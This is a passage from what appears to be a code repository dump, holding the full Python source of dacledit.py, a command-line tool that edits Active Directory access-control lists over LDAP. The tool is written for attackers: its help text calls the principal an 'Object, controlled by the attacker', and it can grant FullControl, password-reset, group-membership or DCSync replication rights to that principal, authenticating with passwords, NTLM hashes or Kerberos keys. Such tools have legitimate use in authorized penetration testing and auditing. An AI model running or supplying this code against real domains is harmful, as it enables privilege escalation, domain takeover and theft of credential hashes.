ADS_RIGHT_ACTRL_DS_LIST\n    DeleteChild = 0x00000002 # ADS_RIGHT_DS_DELETE_CHILD\n    CreateChild = 0x00000001 # ADS_RIGHT_DS_CREATE_CHILD\n\n\n# Simple permissions enum\n# Simple permissions are combinaisons of extended permissions\n# https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc783530(v=ws.10)?redirectedfrom=MSDN\nclass SIMPLE_PERMISSIONS(Enum):\n    FullControl = 0xf01ff\n    Modify = 0x0301bf\n    ReadAndExecute = 0x0200a9\n    ReadAndWrite = 0x02019f\n    Read = 0x20094\n    Write = 0x200bc\n\n\n# Mask ObjectType field enum\n# Possible values for the Mask field in object-specific ACE (permitting to specify extended rights in the ObjectType field for example)\n# Since these flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes'\n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe\nclass ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):\n    ControlAccess = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS\n    CreateChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD\n    DeleteChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_DELETE_CHILD\n    ReadProperty = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP\n    WriteProperty = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP\n    Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF\n\n\nclass DACLedit(object):\n    \"\"\"docstring for setrbcd\"\"\"\n\n    def __init__(self, ldap_server, ldap_session, args):\n        super(DACLedit, self).__init__()\n        self.ldap_server = ldap_server\n        self.ldap_session = ldap_session\n\n        self.target_sAMAccountName = args.target_sAMAccountName\n        self.target_SID = args.target_SID\n        self.target_DN = args.target_DN\n\n        self.principal_sAMAccountName = args.principal_sAMAccountName\n        self.principal_SID = args.principal_SID\n        self.principal_DN = args.principal_DN\n\n        self.ace_type = args.ace_type\n        self.rights = args.rights\n        self.rights_guid = args.rights_guid\n        self.filename = args.filename\n        self.inheritance = args.inheritance\n        if self.inheritance:\n            logging.info(\"NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU\")\n\n        logging.debug('Initializing domainDumper()')\n        cnf = ldapdomaindump.domainDumpConfig()\n        cnf.basepath = None\n        self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)\n\n        if args.mask is not None:\n            if args.mask.startswith(\"0x\"):\n                self.force_mask = int(args.mask, 16)\n            elif args.mask == \"readwrite\":\n                self.force_mask = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP + \\\n                                ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP\n            elif args.mask == \"write\":\n                self.force_mask = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP\n            elif args.mask == \"self\":\n                self.force_mask = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF\n            elif args.mask == \"allext\":\n                self.force_mask = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS\n        else:\n            self.force_mask = None\n\n        if self.target_sAMAccountName or self.target_SID or self.target_DN:\n            # Searching for target account with its security descriptor\n            self.search_target_principal_security_descriptor()\n            # Extract security descriptor data\n            self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0]\n            self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)\n\n        # Searching for the principal SID if any principal argument was given and principal_SID wasn't\n        if self.principal_SID is None and self.principal_sAMAccountName is not None or self.principal_DN is not None:\n            _lookedup_principal = \"\"\n            if self.principal_sAMAccountName is not None:\n                _lookedup_principal = self.principal_sAMAccountName\n                self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid'])\n            elif self.principal_DN is not None:\n                _lookedup_principal = self.principal_DN\n                self.ldap_session.search(_lookedup_principal, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid'])\n            try:\n                self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])\n                logging.debug(\"Found principal SID: %s\" % self.principal_SID)\n            except IndexError:\n                logging.error('Principal SID not found in LDAP (%s)' % _lookedup_principal)\n                exit(1)\n\n\n    # Main read funtion\n    # Prints the parsed DACL\n    def read(self):\n        parsed_dacl = self.parseDACL(self.principal_security_descriptor['Dacl'])\n        self.printparsedDACL(parsed_dacl)\n        return\n\n\n    # Main write function\n    # Attempts to add a new ACE to a DACL\n    def write(self):\n        # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified\n        # Append the ACEs in the DACL locally\n        if self.rights == \"FullControl\" and self.rights_guid is None:\n            logging.debug(\"Appending ACE (%s --(FullControl)--> %s)\" % (self.principal_SID, format_sid(self.target_SID)))\n            self.principal_security_descriptor['Dacl'].aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type))\n        elif self.rights == \"Custom\" and self.force_mask is not None:\n            logging.debug(\"Appending ACE (%s --(Custom)--> %s)\" % (self.principal_SID, format_sid(self.target_SID)))\n            self.principal_security_descriptor['Dacl'].aces.append(self.create_ace(self.force_mask, self.principal_SID, self.ace_type))\n        else:\n            for rights_guid in self.build_guids_for_rights():\n                logging.debug(\"Appending ACE (%s --(%s)--> %s)\" % (self.principal_SID, rights_guid, format_sid(self.target_SID)))\n                self.principal_security_descriptor['Dacl'].aces.append(self.create_object_ace(rights_guid, self.principal_SID, self.ace_type, force_mask=self.force_mask))\n        # Backups current DACL before add the new one\n        self.backup()\n        # Effectively push the DACL with the new ACE\n        self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor)\n        return\n\n\n    # Attempts to remove an ACE from the DACL\n    # To do it, a new DACL is built locally with all the ACEs that must NOT BE removed, and this new DACL is pushed on the server\n    def remove(self):\n        compare_aces = []\n        # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified\n        # These ACEs will be used as comparison templates\n        if self.rights == \"FullControl\" and self.rights_guid is None:\n            compare_aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type))\n        elif self.rights == \"Custom\" and self.force_mask is not None:\n            compare_aces.append(self.create_ace(self.force_mask, self.principal_SID, self.ace_type))\n        else:\n            for rights_guid in self.build_guids_for_rights():\n                compare_aces.append(self.create_object_ace(rights_guid, self.principal_SID, self.ace_type, force_mask=self.force_mask))\n        new_dacl = []\n        i = 0\n        dacl_must_be_replaced = False\n        for ace in self.principal_security_descriptor['Dacl'].aces:\n            ace_must_be_removed = False\n            for compare_ace in compare_aces:\n                # To be sure the good ACEs are removed, multiple fields are compared between the templates and the ACEs in the DACL\n                #   - ACE type\n                #   - ACE flags\n                #   - Access masks\n                #   - Revision\n                #   - SubAuthorityCount\n                #   - SubAuthority\n                #   - IdentifierAuthority value\n                if ace['AceType'] == compare_ace['AceType'] \\\n                    and ace['AceFlags'] == compare_ace['AceFlags']\\\n                    and ace['Ace']['Mask']['Mask'] == compare_ace['Ace']['Mask']['Mask']\\\n                    and ace['Ace']['Sid']['Revision'] == compare_ace['Ace']['Sid']['Revision']\\\n                    and ace['Ace']['Sid']['SubAuthorityCount'] == compare_ace['Ace']['Sid']['SubAuthorityCount']\\\n                    and ace['Ace']['Sid']['SubAuthority'] == compare_ace['Ace']['Sid']['SubAuthority']\\\n                    and ace['Ace']['Sid']['IdentifierAuthority']['Value'] == compare_ace['Ace']['Sid']['IdentifierAuthority']['Value']:\n                    # If the ACE has an ObjectType, the GUIDs must match\n                    if 'ObjectType' in ace['Ace'].fields.keys() and 'ObjectType' in compare_ace['Ace'].fields.keys():\n                        if ace['Ace']['ObjectType'] == compare_ace['Ace']['ObjectType']:\n                            ace_must_be_removed = True\n                            dacl_must_be_replaced = True\n                    else:\n                        ace_must_be_removed = True\n                        dacl_must_be_replaced = True\n            # If the ACE doesn't match any ACEs from the template list, it is added to the DACL that will be pushed\n            if not ace_must_be_removed:\n                new_dacl.append(ace)\n            elif logging.getLogger().level == logging.DEBUG:\n                logging.debug(\"This ACE will be removed\")\n                self.printparsedACE(self.parseACE(ace))\n            i += 1\n        # If at least one ACE must been removed\n        if dacl_must_be_replaced:\n            self.principal_security_descriptor['Dacl'].aces = new_dacl\n            self.backup()\n            self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor)\n        else:\n            logging.info(\"Nothing to remove...\")\n\n    \n    # Permits to backup a DACL before a modification\n    # This function is called before any writing action (write, remove or restore)\n    def backup(self):\n        backup = {}\n        backup[\"sd\"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('utf-8')\n        backup[\"dn\"] = self.target_principal.entry_dn\n        if not self.filename:\n            self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n        else:\n            if os.path.exists(self.filename):\n                logging.info(\"File %s already exists, I'm refusing to overwrite it, setting another filename\" % self.filename)\n                self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n        with codecs.open(self.filename, 'w', 'utf-8') as outfile:\n            json.dump(backup, outfile)\n        logging.info('DACL backed up to %s', self.filename)\n\n    \n    # Permits to restore a saved DACL\n    def restore(self):\n        # Opens and load the file where the DACL has been saved\n        with codecs.open(self.filename, 'r', 'utf-8') as infile:\n            restore = json.load(infile)\n            assert \"sd\" in restore.keys()\n            assert \"dn\" in restore.keys()\n        # Extracts the Security Descriptor and converts it to the good ldaptypes format\n        new_raw_security_descriptor = binascii.unhexlify(restore[\"sd\"].encode('utf-8'))\n        new_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=new_raw_security_descriptor)\n\n        self.target_DN = restore[\"dn\"]\n        # Searching for target account with its security descriptor\n        self.search_target_principal_security_descriptor()\n        # Extract security descriptor data\n        self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0]\n        self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)\n\n        # Do a backup of the actual DACL and push the restoration\n        self.backup()\n        logging.info('Restoring DACL')\n        self.modify_secDesc_for_dn(self.target_DN, new_security_descriptor)\n    \n    # Attempts to retrieve the DACL in the Security Descriptor of the specified target\n    def search_target_principal_security_descriptor(self):\n        _lookedup_principal = \"\"\n        # Set SD flags to only query for DACL\n        controls = security_descriptor_control(sdflags=0x04)\n        if self.target_sAMAccountName is not None:\n            _lookedup_principal = self.target_sAMAccountName\n            self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls)\n        elif self.target_SID is not None:\n            _lookedup_principal = self.target_SID\n            self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls)\n        elif self.target_DN is not None:\n            _lookedup_principal = self.target_DN\n            self.ldap_session.search(_lookedup_principal, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls)\n        try:\n            self.target_principal = self.ldap_session.entries[0]\n            logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal)\n        except IndexError:\n            logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal)\n            exit(0)\n\n    \n    # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName\n    # Not used for the moment\n    #   - samname : a sAMAccountName\n    def get_user_info(self, samname):\n        self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])\n        try:\n            dn = self.ldap_session.entries[0].entry_dn\n            sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])\n            return dn, sid\n        except IndexError:\n            logging.error('User not found in LDAP: %s' % samname)\n            return False\n\n    \n    # Attempts to resolve a SID and return the corresponding samaccountname\n    #   - sid : the SID to resolve\n    def resolveSID(self, sid):\n        # Tries to resolve the SID from the well known SIDs\n        if sid in WELL_KNOWN_SIDS.keys():\n            return WELL_KNOWN_SIDS[sid]\n        # Tries to resolve the SID from the LDAP domain dump\n        else:\n            self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname'])\n            try:\n                dn = self.ldap_session.entries[0].entry_dn\n                samname = self.ldap_session.entries[0]['samaccountname']\n                return samname\n            except IndexError:\n                logging.debug('SID not found in LDAP: %s' % sid)\n                return \"\"\n\n    \n    # Parses a full DACL\n    #   - dacl : the DACL to parse, submitted in a Security Desciptor format\n    def parseDACL(self, dacl):\n        parsed_dacl = []\n        logging.info(\"Parsing DACL\")\n        i = 0\n        for ace in dacl['Data']:\n            parsed_ace = self.parseACE(ace)\n            parsed_dacl.append(parsed_ace)\n            i += 1\n        return parsed_dacl\n\n    \n    # Parses an access mask to extract the different values from a simple permission\n    # https://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights\n    #   - fsr : the access mask to parse\n    def parsePerms(self, fsr):\n        _perms = []\n        for PERM in SIMPLE_PERMISSIONS:\n            if (fsr & PERM.value) == PERM.value:\n                _perms.append(PERM.name)\n                fsr = fsr & (~ PERM.value)\n        for PERM in ACCESS_MASK:\n            if fsr & PERM.value:\n                _perms.append(PERM.name)\n        return _perms\n\n    \n    # Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)\n    #   - ace : the ACE to parse\n    def parseACE(self, ace):\n        # For the moment, only the Allowed and Denied Access ACE are supported\n        if ace['TypeName'] in [ \"ACCESS_ALLOWED_ACE\", \"ACCESS_ALLOWED_OBJECT_ACE\", \"ACCESS_DENIED_ACE\", \"ACCESS_DENIED_OBJECT_ACE\" ]:\n            parsed_ace = {}\n            parsed_ace['ACE Type'] = ace['TypeName']\n            # Retrieves ACE's flags\n            _ace_flags = []\n            for FLAG in ACE_FLAGS:\n                if ace.hasFlag(FLAG.value):\n                    _ace_flags.append(FLAG.name)\n            parsed_ace['ACE flags'] = \", \".join(_ace_flags) or \"None\"\n\n            # For standard ACE\n            # Extracts the access mask (by parsing the simple permissions) and the principal's SID\n            if ace['TypeName'] in [ \"ACCESS_ALLOWED_ACE\", \"ACCESS_DENIED_ACE\" ]:\n                parsed_ace['Access mask'] = \"%s (0x%x)\" % (\", \".join(self.parsePerms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask'])\n                parsed_ace['Trustee (SID)'] = \"%s (%s)\" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or \"UNKNOWN\", ace['Ace']['Sid'].formatCanonical())\n\n            # For object-specific ACE\n            elif ace['TypeName'] in [ \"ACCESS_ALLOWED_OBJECT_ACE\", \"ACCESS_DENIED_OBJECT_ACE\" ]:\n                # Extracts the mask values. These values will indicate the ObjectType purpose\n                _access_mask_flags = []\n                for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS:\n                    if ace['Ace']['Mask'].hasPriv(FLAG.value):\n                        _access_mask_flags.append(FLAG.name)\n                parsed_ace['Access mask'] = \"%s (0x%x)\" % (\", \".join(_access_mask_flags), ace['Ace']['Mask']['Mask'])\n                # Extracts the ACE flag values and the trusted SID\n                _object_flags = []\n                for FLAG in OBJECT_ACE_FLAGS:\n                    if ace['Ace'].hasFlag(FLAG.value):\n                        _object_flags.append(FLAG.name)\n                parsed_ace['Flags'] = \", \".join(_object_flags) or \"None\"\n                # Extracts the ObjectType GUID values\n                if ace['Ace']['ObjectTypeLen'] != 0:\n                    obj_type = bin_to_string(ace['Ace']['ObjectType']).lower()\n                    try:\n                        parsed_ace['Object type (GUID)'] = \"%s (%s)\" % (OBJECT_TYPES_GUID[obj_type], obj_type)\n                    except KeyError:\n                        parsed_ace['Object type (GUID)'] = \"UNKNOWN (%s)\" % obj_type\n                # Extracts the InheritedObjectType GUID values\n                if ace['Ace']['InheritedObjectTypeLen'] != 0:\n                    inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower()\n                    try:\n                        parsed_ace['Inherited type (GUID)'] = \"%s (%s)\" % (OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type)\n                    except KeyError:\n                        parsed_ace['Inherited type (GUID)'] = \"UNKNOWN (%s)\" % inh_obj_type\n                # Extract the Trustee SID (the object that has the right over the DACL bearer)\n                parsed_ace['Trustee (SID)'] = \"%s (%s)\" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or \"UNKNOWN\", ace['Ace']['Sid'].formatCanonical())\n\n        else:\n            # If the ACE is not an access allowed\n            logging.debug(\"ACE Type (%s) unsupported for parsing yet, feel free to contribute\" % ace['TypeName'])\n            parsed_ace = {}\n            parsed_ace['ACE type'] = ace['TypeName']\n            _ace_flags = []\n            for FLAG in ACE_FLAGS:\n                if ace.hasFlag(FLAG.value):\n                    _ace_flags.append(FLAG.name)\n            parsed_ace['ACE flags'] = \", \".join(_ace_flags) or \"None\"\n            parsed_ace['DEBUG'] = \"ACE type not supported for parsing by dacleditor.py, feel free to contribute\"\n        return parsed_ace\n\n\n    # Prints a full DACL by printing each parsed ACE\n    #   - parsed_dacl : a parsed DACL from parseDACL()\n    def printparsedDACL(self, parsed_dacl):\n        # Attempts to retrieve the principal's SID if it's a write action\n        if self.principal_SID is None and self.principal_sAMAccountName or self.principal_DN:\n            if self.principal_sAMAccountName is not None:\n                _lookedup_principal = self.principal_sAMAccountName\n                self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid'])\n            elif self.principal_DN is not None:\n                _lookedup_principal = self.principal_DN\n                self.ldap_session.search(_lookedup_principal, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid'])\n            try:\n                self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])\n            except IndexError:\n                logging.error('Principal not found in LDAP (%s)' % _lookedup_principal)\n                return False\n            logging.debug(\"Found principal SID to write in ACE(s): %s\" % self.principal_SID)\n\n        logging.info(\"Printing parsed DACL\")\n        i = 0\n        # If a principal has been specified, only the ACE where he is the trustee will be printed\n        if self.principal_SID is not None:\n            logging.info(\"Filtering results for SID (%s)\" % self.principal_SID)\n        for parsed_ace in parsed_dacl:\n            print_ace = True\n            if self.principal_SID is not None:\n                try:\n                    if self.principal_SID not in parsed_ace['Trustee (SID)']:\n                        print_ace = False\n                except Exception as e:\n                    logging.error(\"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)\" % e)\n            if print_ace:\n                logging.info(\"  %-28s\" % \"ACE[%d] info\" % i)\n                self.printparsedACE(parsed_ace)\n            i += 1\n\n\n    # Prints properly a parsed ACE\n    #   - parsed_ace : a parsed ACE from parseACE()\n    def printparsedACE(self, parsed_ace):\n        elements_name = list(parsed_ace.keys())\n        for attribute in elements_name:\n            logging.info(\"    %-26s: %s\" % (attribute, parsed_ace[attribute]))\n\n\n    # Retrieves the GUIDs for the specified rights\n    def build_guids_for_rights(self):\n        _rights_guids = []\n        if self.rights_guid is not None:\n            _rights_guids = [self.rights_guid]\n        elif self.rights == \"WriteMembers\":\n            _rights_guids = [RIGHTS_GUID.WriteMembers.value]\n        elif self.rights == \"ResetPassword\":\n            _rights_guids = [RIGHTS_GUID.ResetPassword.value]\n        elif self.rights == \"DCSync\":\n            _rights_guids = [RIGHTS_GUID.DS_Replication_Get_Changes.value, RIGHTS_GUID.DS_Replication_Get_Changes_All.value]\n        logging.debug('Built GUID: %s', _rights_guids)\n        return _rights_guids\n\n\n    # Attempts to push the locally built DACL to the remote server into the security descriptor of the specified principal\n    # The target principal is specified with its Distinguished Name\n    #   - dn : the principal's Distinguished Name to modify\n    #   - secDesc : the Security Descriptor with the new DACL to push\n    def modify_secDesc_for_dn(self, dn, secDesc):\n        data = secDesc.getData()\n        controls = security_descriptor_control(sdflags=0x04)\n        logging.debug('Attempts to modify the Security Descriptor.')\n        self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls)\n        if self.ldap_session.result['result'] == 0:\n            logging.info('DACL modified successfully!')\n        else:\n            if self.ldap_session.result['result'] == 50:\n                logging.error('Could not modify object, the server reports insufficient rights: %s',\n                              self.ldap_session.result['message'])\n            elif self.ldap_session.result['result'] == 19:\n                logging.error('Could not modify object, the server reports a constrained violation: %s',\n                              self.ldap_session.result['message'])\n            else:\n                logging.error('The server returned an error: %s', self.ldap_session.result['message'])\n\n\n    # Builds a standard ACE for a specified access mask (rights) and a specified SID (the principal who obtains the right)\n    # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb\n    #   - access_mask : the allowed access mask\n    #   - sid : the principal's SID\n    #   - ace_type : the ACE type (allowed or denied)\n    def create_ace(self, access_mask, sid, ace_type):\n        nace = ldaptypes.ACE()\n        if ace_type == \"allowed\":\n            nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE\n            acedata = ldaptypes.ACCESS_ALLOWED_ACE()\n        else:\n            nace['AceType'] = ldaptypes.ACCESS_DENIED_ACE.ACE_TYPE\n            acedata = ldaptypes.ACCESS_DENIED_ACE()\n        if self.inheritance:\n            nace['AceFlags'] = ldaptypes.ACE.OBJECT_INHERIT_ACE + ldaptypes.ACE.CONTAINER_INHERIT_ACE\n        else:\n            nace['AceFlags'] = 0x00\n        acedata['Mask'] = ldaptypes.ACCESS_MASK()\n        acedata['Mask']['Mask'] = access_mask\n        acedata['Sid'] = ldaptypes.LDAP_SID()\n        acedata['Sid'].fromCanonical(sid)\n        nace['Ace'] = acedata\n        logging.debug('ACE created.')\n        return nace\n\n\n    # Builds an object-specific for a specified ObjectType (an extended right, a property, etc, to add) for a specified SID (the principal who obtains the right)\n    # The Mask is \"ADS_RIGHT_DS_CONTROL_ACCESS\" (the ObjectType GUID will identify an extended access right)\n    # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe\n    #   - privguid : the ObjectType (an Extended Right here)\n    #   - sid : the principal's SID\n    #   - ace_type : the ACE type (allowed or denied)\n    def create_object_ace(self, privguid, sid, ace_type, force_mask=None):\n        nace = ldaptypes.ACE()\n        if ace_type == \"allowed\":\n            nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE\n            acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()\n        else:\n            nace['AceType'] = ldaptypes.ACCESS_DENIED_OBJECT_ACE.ACE_TYPE\n            acedata = ldaptypes.ACCESS_DENIED_OBJECT_ACE()           \n        if self.inheritance:\n            nace['AceFlags'] = ldaptypes.ACE.OBJECT_INHERIT_ACE + ldaptypes.ACE.CONTAINER_INHERIT_ACE\n        else:\n            nace['AceFlags'] = 0x00\n        acedata['Mask'] = ldaptypes.ACCESS_MASK()\n        # WriteMembers not an extended right, we need read and write mask on the attribute (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe)\n        # force_mask in the case we give the -rights-guid option\n        if force_mask is not None:\n            acedata['Mask']['Mask'] = force_mask\n        elif privguid == RIGHTS_GUID.WriteMembers.value:\n            acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP + ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP\n        # Other rights in this script are extended rights and need the DS_CONTROL_ACCESS mask\n        else:\n            acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS\n        acedata['ObjectType'] = string_to_bin(privguid)\n        acedata['InheritedObjectType'] = b''\n        acedata['Sid'] = ldaptypes.LDAP_SID()\n        acedata['Sid'].fromCanonical(sid)\n        assert sid == acedata['Sid'].formatCanonical()\n        # This ACE flag verifes if the ObjectType is valid\n        acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT\n        nace['Ace'] = acedata\n        logging.debug('Object-specific ACE created.')\n        return nace\n\n\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\\'s DACL.')\n    parser.add_argument('identity', action='store', help='domain.local/username[:password]')\n    parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    auth_con = parser.add_argument_group('authentication & connection')\n    auth_con.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    auth_con.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    auth_con.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')\n    auth_con.add_argument('-aesKey', action=\"store\", metavar=\"hex key\", help='AES key to use for Kerberos Authentication (128 or 256 bits)')\n    auth_con.add_argument('-dc-ip', action='store', metavar=\"ip address\", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter')\n    auth_con.add_argument('-dc-host', action='store', metavar=\"hostname\", help='Hostname of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted, -dc-ip will be used')\n\n    principal_parser = parser.add_argument_group(\"principal\", description=\"Object, controlled by the attacker, to reference in the ACE to create or to filter when printing a DACL\")\n    principal_parser.add_argument(\"-principal\", dest=\"principal_sAMAccountName\", metavar=\"NAME\", type=str, required=False, help=\"sAMAccountName\")\n    principal_parser.add_argument(\"-principal-sid\", dest=\"principal_SID\", metavar=\"SID\", type=str, required=False, help=\"Security IDentifier\")\n    principal_parser.add_argument(\"-principal-dn\", dest=\"principal_DN\", metavar=\"DN\", type=str, required=False, help=\"Distinguished Name\")\n\n    target_parser = parser.add_argument_group(\"target\", description=\"Principal object to read/edit the DACL of\")\n    target_parser.add_argument(\"-target\", dest=\"target_sAMAccountName\", metavar=\"NAME\", type=str, required=False, help=\"sAMAccountName\")\n    target_parser.add_argument(\"-target-sid\", dest=\"target_SID\", metavar=\"SID\", type=str, required=False, help=\"Security IDentifier\")\n    target_parser.add_argument(\"-target-dn\", dest=\"target_DN\", metavar=\"DN\", type=str, required=False, help=\"Distinguished Name\")\n\n    dacl_parser = parser.add_argument_group(\"dacl editor\")\n    dacl_parser.add_argument('-action', choices=['read', 'write', 'remove', 'backup', 'restore'], nargs='?', default='read', help='Action to operate on the DACL')\n    dacl_parser.add_argument('-file', dest=\"filename\", type=str, help='Filename/path (optional for -action backup, required for -restore))')\n    dacl_parser.add_argument('-ace-type', choices=['allowed', 'denied'], nargs='?', default='allowed', help='The ACE Type (access allowed or denied) that must be added or removed (default: allowed)')\n    dacl_parser.add_argument('-rights', choices=['FullControl', 'ResetPassword', 'WriteMembers', 'DCSync', 'Custom'], nargs='?', default='FullControl', help='Rights to write/remove in the target DACL (default: FullControl)')\n    dacl_parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to write/remove')\n    dacl_parser.add_argument('-mask', nargs='?', default=None, help='Force access mask, possible values: readwrite, write, self, allext, 0xXXXXX. Useful with -rights Custom or --rights-guid where the mask is different of read+write.')\n    dacl_parser.add_argument('-inheritance', action=\"store_true\", help='Enable the inheritance in the ACE flag with CONTAINER_INHERIT_ACE and OBJECT_INHERIT_ACE. Useful when target is a Container or an OU, '\n                                                                       'ACE will be inherited by objects within the container/OU (except objects with adminCount=1)')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    return parser.parse_args()\n\n\ndef main():\n    print(version.BANNER)\n    args = parse_args()\n    logger.init(args.ts, args.debug)\n\n    if args.action == 'write' and args.principal_sAMAccountName is None and args.principal_SID is None and args.principal_DN is None:\n        logging.critical('-principal, -principal-sid, or -principal-dn should be specified when using -action write')\n        sys.exit(1)\n\n    if args.action == \"restore\" and not args.filename:\n        logging.critical('-file is required when using -action restore')\n\n    domain, username, password, lmhash, nthash, args.k = parse_identity(args.identity, args.hashes, args.no_pass, args.aesKey, args.k)\n\n    try:\n        ldap_server, ldap_session = init_ldap_session(domain, username, password, lmhash, nthash, args.k, args.dc_ip, args.dc_host, args.aesKey, args.use_ldaps)\n        dacledit = DACLedit(ldap_server, ldap_session, args)\n        if args.action == 'read':\n            dacledit.read()\n        elif args.action == 'write':\n            dacledit.write()\n        elif args.action == 'remove':\n            dacledit.remove()\n        elif args.action == 'flush':\n            dacledit.flush()\n        elif args.action == 'backup':\n            dacledit.backup()\n        elif args.action == 'restore':\n            dacledit.restore()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            traceback.print_exc()\n        logging.error(str(e))\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "examples/dcomexec.py",
